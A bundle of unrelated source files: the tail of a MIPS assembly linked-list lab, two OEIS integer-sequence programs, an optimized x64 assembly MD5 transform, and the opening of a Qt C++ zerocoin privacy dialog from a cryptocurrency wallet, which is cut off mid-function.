lw $s3, 4($s2)
beq $s3, $a1, go2
j cont2
go2:
beq $t3, $zero, goHead2
addi $t5, $t5, 1
lw $t1, ($s2)
sw $t1, ($s4)
move $s2, $s4
j cont2
goHead2:
li $t3, 0
lw $t1, ($a0)
move $a0, $t1
j cont3
cont2:
addi $t3, $t3, 1
move $s4, $s2
lw $s2, ($s2)
j loop2
cont3:
move $s4, $s2
lw $s2, ($s2)
j loop2
done2:
bgt $t5, $zero, setRet
j exit2
setRet:
move $v0, $t5
exit2:
move $v1, $a0
jr $ra
nop
################################################
#
#
#
# data segment
#
#
#
#
################################################
.data
msg: .asciiz "Enter node number: \n"
msg2: .asciiz "Enter node position: \n"
msg3: .asciiz "Enter first element: \n"
msg4: .asciiz "Enter second element: \n"
msg81: .asciiz "This is the current contents of the linked list: \n"
msg82: .asciiz "No linked list is found, pointer is NULL. \n"
msg83: .asciiz "The first node contains: pointerToNext = "
msg84: .asciiz ", and value = "
msg85: .asciiz "\n"
msg86: .asciiz "The next node contains: pointerToNext = "
msg89: .asciiz "The linked list has been completely displayed. \n"
msg91: .asciiz "This routine will help you create your linked list. \n"
msg92: .asciiz "How many elements do you want in your linked list? Give a non-negative integer value: 0, 1, 2, etc.\n"
msg93: .asciiz "Your list is empty, it has no elements. Also, it cannot not be displayed. \n"
msg94: .asciiz "Input the integer value for list element #"
msg95: .asciiz ": \n"
msg110: .asciiz "Welcome to the Lab3 program about linked lists.\n"
msg111: .asciiz "Here are the options you can choose: \n"
msg112: .asciiz "1 - create a new linked list \n"
msg113: .asciiz "2 - display the current linked list \n"
msg114: .asciiz "3 - insert element at end of linked list \n"
msg115: .asciiz "4 - insert element into linked list at position n \n"
msg116: .asciiz "5 - delete element at position n from linked list \n"
msg117: .asciiz "6 - delete element from linked list with value x \n"
msg118: .asciiz "11 - exit this program \n"
msg119: .asciiz "Enter the integer for the action you choose: "
msg120: .asciiz "Enter the integer value of the element that you want to insert: "
msg124: .asciiz "Enter the position number in the linked list where you want to insert the element: "
msg125: .asciiz "Enter the position number in the linked list of the element you want to delete: "
msg126: .asciiz "Enter the integer value of the element that you want to delete: "
msg127: .asciiz "Thanks for using the Lab3 program about linked lists.\n"
msg128: .asciiz "You must enter an integer from 1 to 7. \n"
msg130: .asciiz "The return value was invalid, so it isn't known if the requested action succeeded or failed. \n"
msg131: .asciiz "The requested action succeeded. \n"
msg132: .asciiz "The requested action failed. \n"
msg133: .asciiz "7 - Swap Nodes \n"
msg134: .asciiz "8 - Add Nodes \n"
msg135: .asciiz "9 - Sum Range \n"
msg136: .asciiz "10 - Common Values \n"
com: .asciiz "Number of common values: \n"
com2: .asciiz "Sum: \n"
end: .asciiz "\n"
##
## end of file Lab3main.txt
##SK |
; A289134: a(n) = 21*n^2 - 33*n + 13.
; 1,31,103,217,373,571,811,1093,1417,1783,2191,2641,3133,3667,4243,4861,5521,6223,6967,7753,8581,9451,10363,11317,12313,13351,14431,15553,16717,17923,19171,20461,21793,23167,24583,26041,27541,29083,30667,32293,33961,35671,37423,39217,41053,42931,44851,46813,48817,50863,52951,55081,57253,59467,61723,64021,66361,68743,71167,73633,76141,78691,81283,83917,86593,89311,92071,94873,97717,100603,103531,106501,109513,112567,115663,118801,121981,125203,128467,131773,135121,138511,141943,145417,148933,152491,156091,159733,163417,167143,170911,174721,178573,182467,186403,190381,194401,198463,202567,206713
mul $0,7
add $0,2
bin $0,2
div $0,7
mul $0,6
add $0,1
|
; A135840: A135839 * A000012 as infinite lower triangular matrices.
; 1,2,1,2,1,1,3,2,1,1,3,2,2,1,1,4,3,2,2,1,1,4,3,3,2,2,1,1,5,4,3,3,2,2,1,1,5,4,4,3,3,2,2,1,1,6,5,4,4,3,3,2,2,1,1,6,5,5,4,4,3,3,2,2,1,1,7,6,5,5,4,4,3,3,2,2,1,1,7,6,6,5,5,4,4,3,3,2,2,1,1,8,7,6,6,5,5,4,4,3
seq $0,131437 ; (A000012 * A131436) + (A131436 * A000012) - A000012.
seq $0,290255 ; Number of 0's following directly the first 1 in the binary representation of n.
add $0,2
div $0,2
|
;{ ****************************************************************************** }
;{ * https://zpascal.net * }
;{ * https://github.com/PassByYou888/zAI * }
;{ * https://github.com/PassByYou888/ZServer4D * }
;{ * https://github.com/PassByYou888/PascalString * }
;{ * https://github.com/PassByYou888/zRasterization * }
;{ * https://github.com/PassByYou888/CoreCipher * }
;{ * https://github.com/PassByYou888/zSound * }
;{ * https://github.com/PassByYou888/zChinese * }
;{ * https://github.com/PassByYou888/zExpression * }
;{ * https://github.com/PassByYou888/zGameWare * }
;{ * https://github.com/PassByYou888/zAnalysis * }
;{ * https://github.com/PassByYou888/FFMPEG-Header * }
;{ * https://github.com/PassByYou888/zTranslate * }
;{ * https://github.com/PassByYou888/InfiniteIoT * }
;{ * https://github.com/PassByYou888/FastMD5 * }
;{ ****************************************************************************** }
; MD5_Transform-x64
; MD5 transform routine oprimized for x64 processors
; Copyright 2018 Ritlabs, SRL
; The 64-bit version is written by Maxim Masiutin <max@ritlabs.com>
; The main advantage of this 64-bit version is that
; it loads 64 bytes of hashed message into 8 64-bit registers
; (RBP, R8, R9, R10, R11, R12, R13, R14) at the beginning,
; to avoid excessive memory load operations
; througout the routine.
; To operate with 32-bit values store in higher bits
; of a 64-bit register (bits 32-63) uses "Ror" by 32;
; 8 macro variables (M1-M8) are used to keep record
; or corrent state of whether the register has been
; Ror'ed or not.
; It also has an ability to use Lea instruction instead
; of two sequental Adds (uncomment UseLea=1), but it is
; slower on Skylake processors. Also, Intel in the
; Optimization Reference Maual discourages us of
; Lea as a replacement of two adds, since it is slower
; on the Atom processors.
; MD5_Transform-x64 is released under a dual license,
; and you may choose to use it under either the
; Mozilla Public License 2.0 (MPL 2.1, available from
; https://www.mozilla.org/en-US/MPL/2.0/) or the
; GNU Lesser General Public License Version 3,
; dated 29 June 2007 (LGPL 3, available from
; https://www.gnu.org/licenses/lgpl.html).
; MD5_Transform-x64 is based
; on the following code by Peter Sawatzki.
; The original notice by Peter Sawatzki follows.
; ==============================================================
;
; MD5_386.Asm - 386 optimized helper routine for calculating
; MD Message-Digest values
; written 2/2/94 by
;
; Peter Sawatzki
; Buchenhof 3
; D58091 Hagen, Germany Fed Rep
;
; EMail: Peter@Sawatzki.de
; EMail: 100031.3002@compuserve.com
; WWW: http://www.sawatzki.de
;
;
; original C Source was found in Dr. Dobbs Journal Sep 91
; MD5 algorithm from RSA Data Security, Inc.
.CODE
; You can compile this code using Microsoft Macro Assembler
; ml64.exe /c md5_64.asm
; Uncomment the line below if you wish to have
; a "Lea" instruction instead of two subsequent "Add".
; UseLea=1
; The AA macro adds r to ac to a and stores result to r
; r and a can be either 32-bit (for the "Add" version)
; or 64-bit (for the "Lea" version)
AA Macro r32,r64,ac,a32,a64
IFDEF UseLea
Lea r64, [r64+ac+a64]
ELSE
Add r32, ac
Add r32, a32
ENDIF
EndM
; The JJ macro adds value from state buffer to the "a" register
; The "a" register can be either 32-bit (for the "Add" version)
; or 64-bit (for "Lea") - in this case it is passed as "r"
JJ Macro a,x,ac,r
IFE x
IF M1
Ror RBp, 32
M1=0
ENDIF
AA a, r, ac, EBp, RBp
ENDIF
IFE x-1
IFE M1
Ror RBp, 32
M1=1
ENDIF
AA a, r, ac, EBp, RBp
ENDIF
IFE x-2
IF M2
Ror R8, 32
M2=0
ENDIF
AA a, r, ac, R8d, R8
ENDIF
IFE x-3
IFE M2
Ror R8, 32
M2=1
ENDIF
AA a, r, ac, R8d, R8
ENDIF
IFE x-4
IF M3
Ror R9, 32
M3=0
ENDIF
AA a, r, ac, R9d, R9
ENDIF
IFE x-5
IFE M3
Ror R9, 32
M3=1
ENDIF
AA a, r, ac, R9d, R9
ENDIF
IFE x-6
IF M4
Ror R10, 32
M4=0
ENDIF
AA a, r, ac, R10d, R10
ENDIF
IFE x-7
IFE M4
Ror R10, 32
M4=1
ENDIF
AA a, r, ac, R10d, R10
ENDIF
IFE x-8
IF M5
Ror R11, 32
M5=0
ENDIF
AA a, r, ac, R11d, R11
ENDIF
IFE x-9
IFE M5
Ror R11, 32
M5=1
ENDIF
AA a, r, ac, R11d, R11
ENDIF
IFE x-10
IF M6
Ror R12, 32
M6=0
ENDIF
AA a, r, ac, R12d, R12
ENDIF
IFE x-11
IFE M6
Ror R12, 32
M6=1
ENDIF
AA a, r, ac, R12d, R12
ENDIF
IFE x-12
IF M7
Ror R13, 32
M7=0
ENDIF
AA a, r, ac, R13d, R13
ENDIF
IFE x-13
IFE M7
Ror R13, 32
M7=1
ENDIF
AA a, r, ac, R13d, R13
ENDIF
IFE x-14
IF M8
Ror R14, 32
M8=0
ENDIF
AA a, r, ac, R14d, R14
ENDIF
IFE x-15
IFE M8
Ror R14, 32
M8=1
ENDIF
AA a, r, ac, R14d, R14
ENDIF
EndM
FF Macro a,b,c,d,x,s,ac,r
; a:= ROL (a+x+ac + (b And c Or Not b And d), s) + b
JJ a, x, ac, r
Mov ESI, b
Not ESI
And ESI, d
Mov EDI, c
And EDI, b
Or ESI, EDI
Add a, ESI
Rol a, s
Add a, b
EndM
GG Macro a,b,c,d,x,s,ac,r
; a:= ROL (a+x+ac + (b And d Or c And Not d), s) + b
JJ a, x, ac, r
Mov ESI, d
Not ESI
And ESI, c
Mov EDI, d
And EDI, b
Or ESI, EDI
Add a, ESI
Rol a, s
Add a, b
EndM
HH Macro a,b,c,d,x,s,ac,r
; a:= ROL (a+x+ac + (b Xor c Xor d), s) + b
JJ a, x, ac, r
Mov ESI, d
Xor ESI, c
Xor ESI, b
Add a, ESI
Rol a, s
Add a, b
EndM
II Macro a,b,c,d,x,s,ac,r
; a:= ROL (a+x+ac + (c Xor (b Or Not d)), s) + b
JJ a, x, ac, r
Mov ESI, d
Not ESI
Or ESI, b
Xor ESI, c
Add a, ESI
Rol a, s
Add a, b
EndM
MD5_Transform Proc
Public MD5_Transform
; save registers that the caller requires to be restored
Push RBx
Push RSi
Push RDi
Push RBp
Push R12
Push R13
Push R14
; First parameter is passed in RCX, Second - in RDX
; State - in RCX
; Message - in RDX
M1 = 0
M2 = 0
M3 = 0
M4 = 0
M5 = 0
M6 = 0
M7 = 0
M8 = 0
Mov R14, RDX ; Now the message buffer offset is in R14
Mov RSi, Rcx ; Now state structure offset is in RSi
Push Rsi ; State -> Stack
Mov EAx, [RSi]
Mov EBx, [RSi+4]
Mov ECx, [RSi+8]
Mov EDx, [RSi+12]
Mov RBP, [R14+4*0]
FF EAx,EBx,ECx,EDx, 0, 7, 0d76aa478h, RAx ; 1
FF EDx,EAx,EBx,ECx, 1, 12, 0e8c7b756h, RDx ; 2
Mov R8, [R14+4*2]
FF ECx,EDx,EAx,EBx, 2, 17, 0242070dbh, RCx ; 3
FF EBx,ECx,EDx,EAx, 3, 22, 0c1bdceeeh, RBx ; 4
Mov R9, [R14+4*4]
FF EAx,EBx,ECx,EDx, 4, 7, 0f57c0fafh, RAx ; 5
FF EDx,EAx,EBx,ECx, 5, 12, 04787c62ah, RDx ; 6
Mov R10, [R14+4*6]
FF ECx,EDx,EAx,EBx, 6, 17, 0a8304613h, RCx ; 7
FF EBx,ECx,EDx,EAx, 7, 22, 0fd469501h, RBx ; 8
Mov R11, [R14+4*8]
FF EAx,EBx,ECx,EDx, 8, 7, 0698098d8h, RAx ; 9
FF EDx,EAx,EBx,ECx, 9, 12, 08b44f7afh, RDx ; 10
Mov R12, [R14+4*10]
FF ECx,EDx,EAx,EBx, 10, 17, 0ffff5bb1h, RCx ; 11
FF EBx,ECx,EDx,EAx, 11, 22, 0895cd7beh, RBx ; 12
Mov R13, [R14+4*12]
FF EAx,EBx,ECx,EDx, 12, 7, 06b901122h, RAx ; 13
FF EDx,EAx,EBx,ECx, 13, 12, 0fd987193h, RDx ; 14
Mov R14, [R14+4*14]
FF ECx,EDx,EAx,EBx, 14, 17, 0a679438eh, RCx ; 15
FF EBx,ECx,EDx,EAx, 15, 22, 049b40821h, RBx ; 16
GG EAx,EBx,ECx,EDx, 1, 5, 0f61e2562h, RAx ; 17
GG EDx,EAx,EBx,ECx, 6, 9, 0c040b340h, RDx ; 18
GG ECx,EDx,EAx,EBx, 11, 14, 0265e5a51h, RCx ; 19
GG EBx,ECx,EDx,EAx, 0, 20, 0e9b6c7aah, RBx ; 20
GG EAx,EBx,ECx,EDx, 5, 5, 0d62f105dh, RAx ; 21
GG EDx,EAx,EBx,ECx, 10, 9, 002441453h, RDx ; 22
GG ECx,EDx,EAx,EBx, 15, 14, 0d8a1e681h, RCx ; 23
GG EBx,ECx,EDx,EAx, 4, 20, 0e7d3fbc8h, RBx ; 24
GG EAx,EBx,ECx,EDx, 9, 5, 021e1cde6h, RAx ; 25
GG EDx,EAx,EBx,ECx, 14, 9, 0c33707d6h, RDx ; 26
GG ECx,EDx,EAx,EBx, 3, 14, 0f4d50d87h, RCx ; 27
GG EBx,ECx,EDx,EAx, 8, 20, 0455a14edh, RBx ; 28
GG EAx,EBx,ECx,EDx, 13, 5, 0a9e3e905h, RAx ; 29
GG EDx,EAx,EBx,ECx, 2, 9, 0fcefa3f8h, RDx ; 30
GG ECx,EDx,EAx,EBx, 7, 14, 0676f02d9h, RCx ; 31
GG EBx,ECx,EDx,EAx, 12, 20, 08d2a4c8ah, RBx ; 32
HH EAx,EBx,ECx,EDx, 5, 4, 0fffa3942h, RAx ; 33
HH EDx,EAx,EBx,ECx, 8, 11, 08771f681h, RDx ; 34
HH ECx,EDx,EAx,EBx, 11, 16, 06d9d6122h, RCx ; 35
HH EBx,ECx,EDx,EAx, 14, 23, 0fde5380ch, RBx ; 36
HH EAx,EBx,ECx,EDx, 1, 4, 0a4beea44h, RAx ; 37
HH EDx,EAx,EBx,ECx, 4, 11, 04bdecfa9h, RDx ; 38
HH ECx,EDx,EAx,EBx, 7, 16, 0f6bb4b60h, RCx ; 39
HH EBx,ECx,EDx,EAx, 10, 23, 0bebfbc70h, RBx ; 40
HH EAx,EBx,ECx,EDx, 13, 4, 0289b7ec6h, RAx ; 41
HH EDx,EAx,EBx,ECx, 0, 11, 0eaa127fah, RDx ; 42
HH ECx,EDx,EAx,EBx, 3, 16, 0d4ef3085h, RCx ; 43
HH EBx,ECx,EDx,EAx, 6, 23, 004881d05h, RBx ; 44
HH EAx,EBx,ECx,EDx, 9, 4, 0d9d4d039h, RAx ; 45
HH EDx,EAx,EBx,ECx, 12, 11, 0e6db99e5h, RDx ; 46
HH ECx,EDx,EAx,EBx, 15, 16, 01fa27cf8h, RCx ; 47
HH EBx,ECx,EDx,EAx, 2, 23, 0c4ac5665h, RBx ; 48
II EAx,EBx,ECx,EDx, 0, 6, 0f4292244h, RAx ; 49
II EDx,EAx,EBx,ECx, 7, 10, 0432aff97h, RDx ; 50
II ECx,EDx,EAx,EBx, 14, 15, 0ab9423a7h, RCx ; 51
II EBx,ECx,EDx,EAx, 5, 21, 0fc93a039h, RBx ; 52
II EAx,EBx,ECx,EDx, 12, 6, 0655b59c3h, RAx ; 53
II EDx,EAx,EBx,ECx, 3, 10, 08f0ccc92h, RDx ; 54
II ECx,EDx,EAx,EBx, 10, 15, 0ffeff47dh, RCx ; 55
II EBx,ECx,EDx,EAx, 1, 21, 085845dd1h, RBx ; 56
II EAx,EBx,ECx,EDx, 8, 6, 06fa87e4fh, RAx ; 57
II EDx,EAx,EBx,ECx, 15, 10, 0fe2ce6e0h, RDx ; 58
II ECx,EDx,EAx,EBx, 6, 15, 0a3014314h, RCx ; 59
II EBx,ECx,EDx,EAx, 13, 21, 04e0811a1h, RBx ; 60
II EAx,EBx,ECx,EDx, 4, 6, 0f7537e82h, RAx ; 61
II EDx,EAx,EBx,ECx, 11, 10, 0bd3af235h, RDx ; 62
II ECx,EDx,EAx,EBx, 2, 15, 02ad7d2bbh, RCx ; 63
II EBx,ECx,EDx,EAx, 9, 21, 0eb86d391h, RBx ; 64
Pop RSi ; get State pointer from stack
Add [RSi], EAx
Add [RSi+4], EBx
Add [RSi+8], ECx
Add [RSi+12], EDx
; restore volatile registers
Pop R14
Pop R13
Pop R12
Pop RBp
Pop RDi
Pop RSi
Pop RBx
Ret
MD5_Transform EndP
End
; That's All Folks!
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "privacydialog.h"
#include "ui_privacydialog.h"
#include "addressbookpage.h"
#include "addresstablemodel.h"
#include "bitcoinunits.h"
#include "coincontroldialog.h"
#include "libzerocoin/Denominations.h"
#include "optionsmodel.h"
#include "sendcoinsentry.h"
#include "walletmodel.h"
#include "coincontrol.h"
#include "zumbracontroldialog.h"
#include "spork.h"
#include <QClipboard>
#include <QSettings>
#include <utilmoneystr.h>
#include <QtWidgets>
PrivacyDialog::PrivacyDialog(QWidget* parent) : QDialog(parent),
ui(new Ui::PrivacyDialog),
walletModel(0),
currentBalance(-1)
{
nDisplayUnit = 0; // just make sure it's not unitialized
ui->setupUi(this);
// "Spending 999999 zUMB ought to be enough for anybody." - Bill Gates, 2017
ui->zUMBpayAmount->setValidator( new QDoubleValidator(0.0, 21000000.0, 20, this) );
ui->labelMintAmountValue->setValidator( new QIntValidator(0, 999999, this) );
// Default texts for (mini-) coincontrol
ui->labelCoinControlQuantity->setText (tr("Coins automatically selected"));
ui->labelCoinControlAmount->setText (tr("Coins automatically selected"));
ui->labelzUMBSyncStatus->setText("(" + tr("out of sync") + ")");
// Sunken frame for minting messages
ui->TEMintStatus->setFrameStyle(QFrame::StyledPanel | QFrame::Sunken);
ui->TEMintStatus->setLineWidth (2);
ui->TEMintStatus->setMidLineWidth (2);
ui->TEMintStatus->setPlainText(tr("Mint Status: Okay"));
// Coin Control signals
connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked()));
// Coin Control: clipboard actions
QAction* clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction* clipboardAmountAction = new QAction(tr("Copy amount"), this);
connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity()));
connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount()));
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
// Denomination labels
ui->labelzDenom1Text->setText("Denom. with value <b>1</b>:");
ui->labelzDenom2Text->setText("Denom. with value <b>5</b>:");
ui->labelzDenom3Text->setText("Denom. with value <b>10</b>:");
ui->labelzDenom4Text->setText("Denom. with value <b>50</b>:");
ui->labelzDenom5Text->setText("Denom. with value <b>100</b>:");
ui->labelzDenom6Text->setText("Denom. with value <b>500</b>:");
ui->labelzDenom7Text->setText("Denom. with value <b>1000</b>:");
ui->labelzDenom8Text->setText("Denom. with value <b>5000</b>:");
// Umbra settings
QSettings settings;
if (!settings.contains("nSecurityLevel")){
nSecurityLevel = 42;
settings.setValue("nSecurityLevel", nSecurityLevel);
}
else{
nSecurityLevel = settings.value("nSecurityLevel").toInt();
}
if (!settings.contains("fMinimizeChange")){
fMinimizeChange = false;
settings.setValue("fMinimizeChange", fMinimizeChange);
}
else{
fMinimizeChange = settings.value("fMinimizeChange").toBool();
}
ui->checkBoxMinimizeChange->setChecked(fMinimizeChange);
// Start with displaying the "out of sync" warnings
showOutOfSyncWarning(true);
// Hide those placeholder elements needed for CoinControl interaction
ui->WarningLabel->hide(); // Explanatory text visible in QT-Creator
ui->dummyHideWidget->hide(); // Dummy widget with elements to hide
//temporary disable for maintenance
if(GetAdjustedTime() > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE)) {
ui->pushButtonMintzUMB->setEnabled(false);
ui->pushButtonMintzUMB->setToolTip(tr("zUMB is currently disabled due to maintenance."));
ui->pushButtonSpendzUMB->setEnabled(false);
ui->pushButtonSpendzUMB->setToolTip(tr("zUMB is currently disabled due to maintenance."));
}
}
PrivacyDialog::~PrivacyDialog()
{
delete ui;
}
void PrivacyDialog::setModel(WalletModel* walletModel)
{
this->walletModel = walletModel;
if (walletModel && walletModel->getOptionsModel()) {
// Keep up to date with wallet
setBalance(walletModel->getBalance(), walletModel->getUnconfirmedBalance(), walletModel->getImmatureBalance(),
walletModel->getZerocoinBalance(), walletModel->getUnconfirmedZerocoinBalance(), walletModel->getImmatureZerocoinBalance(),
walletModel->getWatchBalance(), walletModel->getWatchUnconfirmedBalance(), walletModel->getWatchImmatureBalance());
connect(walletModel, SIGNAL(balanceChanged(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount)), this,
SLOT(setBalance(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount, CAmount)));
ui->securityLevel->setValue(nSecurityLevel);
}
}
void PrivacyDialog::on_pasteButton_clicked()
{
// Paste text from clipboard into recipient field
ui->payTo->setText(QApplication::clipboard()->text());
}
void PrivacyDialog::on_addressBookButton_clicked()
{
if (!walletModel)
return;
AddressBookPage dlg(AddressBookPage::ForSelection, AddressBookPage::SendingTab, this);
dlg.setModel(walletModel->getAddressTableModel());
if (dlg.exec()) {
ui->payTo->setText(dlg.getReturnValue());
ui->zUMBpayAmount->setFocus();
}
}
void PrivacyDialog::on_pushButtonMintzUMB_clicked()
{
if (!walletModel || !walletModel->getOptionsModel())
return;
if(GetAdjustedTime() > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE)) {
QMessageBox::information(this, tr("Mint Zerocoin"),
tr("zUMB is currently undergoing maintenance."), QMessageBox::Ok,
QMessageBox::Ok);
return;
}
// Reset message text
ui->TEMintStatus->setPlainText(tr("Mint Status: Okay"));
// Request unlock if wallet was locked or unlocked for mixing:
WalletModel::EncryptionStatus encStatus = walletModel->getEncryptionStatus();
if (encStatus == walletModel->Locked) {
WalletModel::UnlockContext ctx(walletModel->requestUnlock(true));
if (!ctx.isValid()) {
// Unlock wallet was cancelled
ui->TEMintStatus->setPlainText(tr("Error: Your wallet is locked. Please enter the wallet passphrase first."));
return;
}
}
QString sAmount = ui->labelMintAmountValue->text();
CAmount nAmount = sAmount.toInt() * COIN;
// Minting amount must be > 0
if(nAmount <= 0){
ui->TEMintStatus->setPlainText(tr("Message: Enter an amount > 0."));
return;
}
ui->TEMintStatus->setPlainText(tr("Minting ") + ui->labelMintAmountValue->text() + " zUMB...");
ui->TEMintStatus->repaint ();
int64_t nTime = GetTimeMillis();
CWalletTx wtx;
vector<CZerocoinMint> vMints;
string strError = pwalletMain->MintZerocoin(nAmount, wtx, vMints, CoinControlDialog::coinControl);
// Return if something went wrong during minting
if (strError != ""){
ui->TEMintStatus->setPlainText(QString::fromStdString(strError));
return;
}
double fDuration = (double)(GetTimeMillis() - nTime)/1000.0;
// Minting successfully finished. Show some stats for entertainment.
QString strStatsHeader = tr("Successfully minted ") + ui->labelMintAmountValue->text() + tr(" zUMB in ") +
QString::number(fDuration) + tr(" sec. Used denominations:\n");
// Clear amount to avoid double spending when accidentally clicking twice
ui->labelMintAmountValue->setText ("0");
QString strStats = "";
ui->TEMintStatus->setPlainText(strStatsHeader);
for (CZerocoinMint mint : vMints) {
boost::this_thread::sleep(boost::posix_time::milliseconds(100));
strStats = strStats + QString::number(mint.GetDenomination()) + " ";
ui->TEMintStatus->setPlainText(strStatsHeader + strStats);
ui->TEMintStatus->repaint ();
}
// Available balance isn't always updated, so force it.
setBalance(walletModel->getBalance(), walletModel->getUnconfirmedBalance(), walletModel->getImmatureBalance(),
walletModel->getZerocoinBalance(), walletModel->getUnconfirmedZerocoinBalance(), walletModel->getImmatureZerocoinBalance(),
walletModel->getWatchBalance(), walletModel->getWatchUnconfirmedBalance(), walletModel->getWatchImmatureBalance());
coinControlUpdateLabels();
return;
}
void PrivacyDialog::on_pushButtonMintReset_clicked()
{
if (!walletModel || !walletModel->getOptionsModel())
return;
ui->TEMintStatus->setPlainText(tr("Starting ResetMintZerocoin: rescanning complete blockchain, this will need up to 30 minutes depending on your hardware. \nPlease be patient..."));
ui->TEMintStatus->repaint ();
int64_t nTime = GetTimeMillis();
string strResetMintResult = pwalletMain->ResetMintZerocoin(false); // do not do the extended search from GUI
double fDuration = (double)(GetTimeMillis() - nTime)/1000.0;
ui->TEMintStatus->setPlainText(QString::fromStdString(strResetMintResult) + tr("Duration: ") + QString::number(fDuration) + tr(" sec.\n"));
ui->TEMintStatus->repaint ();
return;
}
void PrivacyDialog::on_pushButtonSpentReset_clicked()
{
if (!walletModel || !walletModel->getOptionsModel())
return;
ui->TEMintStatus->setPlainText(tr("Starting ResetSpentZerocoin: "));
ui->TEMintStatus->repaint ();
int64_t nTime = GetTimeMillis();
string strResetSpentResult = pwalletMain->ResetSpentZerocoin();
double fDuration = (double)(GetTimeMillis() - nTime)/1000.0;
ui->TEMintStatus->setPlainText(QString::fromStdString(strResetSpentResult) + tr("Duration: ") + QString::number(fDuration) + tr(" sec.\n"));
ui->TEMintStatus->repaint ();
return;
}
void PrivacyDialog::on_pushButtonSpendzUMB_clicked()
{
if (!walletModel || !walletModel->getOptionsModel() || !pwalletMain)
return;
if(GetAdjustedTime() > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE)) {
QMessageBox::information(this, tr("Mint Zerocoin"),
tr("zUMB is currently undergoing maintenance."), QMessageBox::Ok, QMessageBox::Ok);
return;
}
// Request unlock if wallet was locked or unlocked for mixing:
WalletModel::EncryptionStatus encStatus = walletModel->getEncryptionStatus();
if (encStatus == walletModel->Locked || encStatus == walletModel->UnlockedForAnonymizationOnly) {
WalletModel::UnlockContext ctx(walletModel->requestUnlock(true));
if (!ctx.isValid()) {
// Unlock wallet was cancelled
return;
}
// Wallet is unlocked now, sedn zUMB
sendzUMB();
return;
}
// Wallet already unlocked or not encrypted at all, send zUMB
sendzUMB();
}
void PrivacyDialog::on_pushButtonZUmbraControl_clicked()
{
ZUmbraControlDialog* zUmbraControl = new ZUmbraControlDialog(this);
zUmbraControl->setModel(walletModel);
zUmbraControl->exec();
}
void PrivacyDialog::setZUmbraControlLabels(int64_t nAmount, int nQuantity)
{
ui->labelzUmbraSelected_int->setText(QString::number(nAmount));
ui->labelQuantitySelected_int->setText(QString::number(nQuantity));
}
static inline int64_t roundint64(double d)
{
return (int64_t)(d > 0 ? d + 0.5 : d - 0.5);
}
void PrivacyDialog::sendzUMB()
{
QSettings settings;
// Handle 'Pay To' address options
CBitcoinAddress address(ui->payTo->text().toStdString());
if(ui->payTo->text().isEmpty()){
QMessageBox::information(this, tr("Spend Zerocoin"), tr("No 'Pay To' address provided, creating local payment"), QMessageBox::Ok, QMessageBox::Ok);
}
else{
if (!address.IsValid()) {
QMessageBox::warning(this, tr("Spend Zerocoin"), tr("Invalid Umbra Address"), QMessageBox::Ok, QMessageBox::Ok);
ui->payTo->setFocus();
return;
}
}
// Double is allowed now
double dAmount = ui->zUMBpayAmount->text().toDouble();
CAmount nAmount = roundint64(dAmount* COIN);
// Check amount validity
if (!MoneyRange(nAmount) || nAmount <= 0.0) {
QMessageBox::warning(this, tr("Spend Zerocoin"), tr("Invalid Send Amount"), QMessageBox::Ok, QMessageBox::Ok);
ui->zUMBpayAmount->setFocus();
return;
}
// Convert change to zUMB
bool fMintChange = ui->checkBoxMintChange->isChecked();
// Persist minimize change setting
fMinimizeChange = ui->checkBoxMinimizeChange->isChecked();
settings.setValue("fMinimizeChange", fMinimizeChange);
// Warn for additional fees if amount is not an integer and change as zUMB is requested
bool fWholeNumber = floor(dAmount) == dAmount;
double dzFee = 0.0;
if(!fWholeNumber)
dzFee = 1.0 - (dAmount - floor(dAmount));
if(!fWholeNumber && fMintChange){
QString strFeeWarning = "You've entered an amount with fractional digits and want the change to be converted to Zerocoin.<br /><br /><b>";
strFeeWarning += QString::number(dzFee, 'f', 8) + " UMB </b>will be added to the standard transaction fees!<br />";
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm additional Fees"),
strFeeWarning,
QMessageBox::Yes | QMessageBox::Cancel,
QMessageBox::Cancel);
if (retval != QMessageBox::Yes) {
// Sending canceled
ui->zUMBpayAmount->setFocus();
return;
}
}
// Persist Security Level for next start
nSecurityLevel = ui->securityLevel->value();
settings.setValue("nSecurityLevel", nSecurityLevel);
// Spend confirmation message box
// Add address info if available
QString strAddressLabel = "";
if(!ui->payTo->text().isEmpty() && !ui->addAsLabel->text().isEmpty()){
strAddressLabel = "<br />(" + ui->addAsLabel->text() + ") ";
}
// General info
QString strQuestionString = tr("Are you sure you want to send?<br /><br />");
QString strAmount = "<b>" + QString::number(dAmount, 'f', 8) + " zUMB</b>";
QString strAddress = tr(" to address ") + QString::fromStdString(address.ToString()) + strAddressLabel + " <br />";
if(ui->payTo->text().isEmpty()){
// No address provided => send to local address
strAddress = tr(" to a newly generated (unused and therefore anonymous) local address <br />");
}
QString strSecurityLevel = tr("with Security Level ") + ui->securityLevel->text() + " ?";
strQuestionString += strAmount + strAddress + strSecurityLevel;
// Display message box
QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm send coins"),
strQuestionString,
QMessageBox::Yes | QMessageBox::Cancel,
QMessageBox::Cancel);
if (retval != QMessageBox::Yes) {
// Sending canceled
return;
}
int64_t nTime = GetTimeMillis();
ui->TEMintStatus->setPlainText(tr("Spending Zerocoin.\nComputationally expensive, might need several minutes depending on the selected Security Level and your hardware. \nPlease be patient..."));
ui->TEMintStatus->repaint();
// use mints from zUmbra selector if applicable
vector<CZerocoinMint> vMintsSelected;
if (!ZUmbraControlDialog::listSelectedMints.empty()) {
vMintsSelected = ZUmbraControlDialog::GetSelectedMints();
}
// Spend zUMB
CWalletTx wtxNew;
CZerocoinSpendReceipt receipt;
bool fSuccess = false;
if(ui->payTo->text().isEmpty()){
